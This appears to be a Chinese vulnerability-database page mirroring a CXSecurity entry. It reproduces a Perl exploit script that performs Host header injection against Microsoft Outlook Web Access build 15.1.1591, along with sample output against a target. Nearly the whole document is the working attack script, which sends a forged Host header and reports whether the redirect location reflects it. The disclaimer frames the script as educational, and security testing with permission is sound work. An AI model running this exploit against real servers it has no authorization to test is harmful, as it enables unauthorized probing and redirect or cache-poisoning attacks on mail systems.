Microsoft Outlook Web Access Build 15.1.1591 Header Injection - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1726140 漏洞类型
发布时间 2019-09-03 更新时间 2019-09-03
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019090021
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl -w
#
#  Microsoft Outlook Web Access build:15.1.1591 Remote Header 'Host' Injection Exploit
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
# 	[test@localhost microsoft_owa]$ perl microsoft_owa.pl https://133.71.33.37/
# 	[+] Microsoft Outlook Web Access build:15.1.1591 Remote Header 'Host' Injection Exploit
# 	=======================================================================================
# 	[!] Author: Todor Donev <todor.donev@gmail.com>
# 	=======================================================================================
# 	[+] >  Host: sultan-of-swing
# 	[+] >  User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15
# 	[+] >  Content-Type: application/x-www-form-urlencoded
# 	[+] <  Cache-Control: no-cache
# 	[+] <  Connection: close
# 	[+] <  Date: Sat, 31 Aug 0000 13:37:00 GMT
# 	[+] <  Pragma: no-cache
# 	[+] <  Location: https://sultan-of-swing/owa/
# 	[+] <  Server: Microsoft-IIS/10.0
# 	[+] <  Content-Length: 0
# 	[+] <  Client-Date: Sat, 31 Aug 0000 13:37:00 GMT
# 	[+] <  Client-Peer: 133.71.33.37:443
# 	[+] <  Client-Response-Num: 1
# 	[+] <  Client-SSL-Cert-Issuer: CENSORED
# 	[+] <  Client-SSL-Cert-Subject: CENSORED
# 	[+] <  Client-SSL-Cipher: ECDHE-RSA-AES128-GCM-SHA256
# 	[+] <  Client-SSL-Socket-Class: IO::Socket::SSL
# 	[+] <  Client-SSL-Warning: Peer certificate not verified
# 	[+] <  X-FEServer: MAILSVRTEST
# 	[+] <  X-RequestId: CENSORED
#	=======================================================================================
# 	[+] Microsoft OWA Location is Injected => https://sultan-of-swing/owa/
#
#  Description:
#  OWASP Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)
#  https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)
#
#

use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || 'https://192.168.1.1:443/';

printf ("[+] Microsoft Outlook Web Access build:15.1.1591 Remote Header 'Host' Injection Exploit\n");
printf ("=======================================================================================\n");
printf ("[!] Author: Todor Donev <todor.donev\@gmail.com>\n");
printf ("[?] e.g. perl $0 https://target:port/\n") and exit if ($host !~ m/^http/);

my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(
                                        protocols_allowed => ['http', 'https'],
                                        ssl_opts => { verify_hostname => 0 }
                                );
   $browser->timeout(10);
   $browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,
                                  [ Content_Type => "application/x-www-form-urlencoded" ,
			            Host => "sultan-of-swing"], " ");
printf ("=======================================================================================\n");
my $response = $browser->request($request);
if ($response->header('Location') =~ m/sultan-of-swing/i){

	say "[+] >  $_: ", $request->header($_) for  $request->header_field_names;
	say "[+] <  $_: ", $response->header($_) for  $response->header_field_names;
	printf ("=======================================================================================\n")
	printf ("[+] Microsoft OWA Location is Injected => %s\n", $response->header('Location'));
	exit;

} else {

	printf ("[-] Exploit failed!\n");
	exit;

}